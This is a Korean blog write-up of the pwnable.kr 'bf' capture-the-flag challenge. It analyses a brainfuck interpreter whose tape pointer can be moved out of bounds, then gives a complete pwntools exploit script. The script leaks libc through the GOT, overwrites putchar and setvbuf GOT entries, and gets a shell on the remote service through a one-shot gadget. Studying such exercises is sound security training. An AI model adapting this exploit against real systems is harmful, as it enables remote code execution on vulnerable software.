728x90
1. 문제
1) mitigation 확인
PIE가 안걸려있다.
2) 문제 확인
먼지 모르겠다. 코드를 한번 봐보자.
3) 코드흐름 파악
int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx
result = a1;
switch ( a1 )
{
case '+': // tape에 하위 한바이트 ++
result = p;
++*(_BYTE *)p;
break;
case ',':
v2 = (_BYTE *)p; // tape 하위 한바이트에 입력한 바이트 저장
result = getchar();
*v2 = result;
break;
case '-':
result = p; // tape에 하위 한바이트 --
--*(_BYTE *)p;
break;
case '.':
result = putchar(*(char *)p); // tape 하위 한바이트 출력
break;
case '<':
result = p-- - 1; // p값 --
break;
case '>':
result = p++ + 1; // p값 ++
break;
case '[':
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
메인에서 fget로 0x400만큼 입력을 받는다. 그다음 do_brainfuck 함수가 호출되고, 한바이트씩 각자의 로직이 수행된다.
p에는 tape 주소가 들어있고, tape에 하위 한바이트 증가 혹은 감소를 시키거나, getchar()로 한바이트를 입력할수 있다. 또한 putchar()로 하위 한바이트를 출력시킬수 있다.
또한 >와 < 를 이용하여 *p가 아닌 p 자체의 하위 한바이트를 증가 혹은 감소시킬수 있다.
2. 접근방법
PIE가 안걸려 있기 떄문에, p에 들어있는 값을 증가 혹은 감소시켜 putchar_got 주소로 맞춘다음에, 한바이트씩 출력시켜 libc를 릭한다. 그다음 더이상 putchar는 사용안해도 되기때문에 putchar_got를 main으로 덮는다.
main으로 다시 돌아온다음, p를 setvbuf_got로 변경시킨다. 그다음 getchar를 이용해서 setvbuf_got에 원샷 가젯을 넣고, 다시 putchar를 호출해서 main으로 돌아간다.
메인에서 setvbuf가 호출되면, 원샥 가젯이 호출될것이다.
3. 풀이
from pwn import *
context(log_level="DEBUG")
#p=process('./bf')
p=remote('pwnable.kr',9001)
elf=ELF('./bf')
libc=ELF('./libc.so')
pause()
p.recvuntil('except [ ]\n')
p_addr=0x804a0a0
memset_got=0x0804a02c
setvbuf_got=0x0804a028
putchar_got=0x0804a030
off=libc.symbols['setvbuf']
leak_off=0x74
main_=0x08048671
payload='<'*(p_addr-setvbuf_got)
payload+='.>.>.>.>>>>'
payload+='>'
payload+=',>,>,>,.'
sleep(2)
p.sendline(payload)
setbuf_addr =0
for i in range(4):
setbuf_addr += (u8(p.recv(1))<<(8*i))
log.info(hex(setbuf_addr))
libc_base=setbuf_addr-off
log.info(hex(libc_base))
one=[0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
tt=libc_base+one[1]
pause()
p.send(p8(0x71))
p.send(p8(0x86))
pause()
p.send(p8(0x04))
p.send(p8(0x08))
p.recvuntil('except [ ]\n')
pause()
payload='<'*(p_addr-setvbuf_got)
payload+=',>,>,>,.'
p.sendline(payload)
log.info(hex(tt))
log.info(hex(tt&0xff))
log.info(hex((tt>>8)&0xff))
log.info(hex((tt>>16)&0xff))
log.info(hex((tt>>24)&0xff))
p.send(p8(tt&0xff))
p.send(p8((tt>>8)&0xff))
p.send(p8((tt>>16)&0xff))
p.send(p8((tt>>24)&0xff))
p.interactive()
4. 몰랐던 개념
728x90
'워게임 > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] dragon (0) | 2020.10.04 |
---|---|
[pwnable.kr] md5 calculator (0) | 2020.09.23 |
[pwnble.kr] leg (0) | 2020.09.06 |
[pwnable.kr] shellshock (0) | 2020.09.06 |
[pwnable.kr] mistake (0) | 2020.09.06 |
Uploaded by Notion2Tistory v1.0.0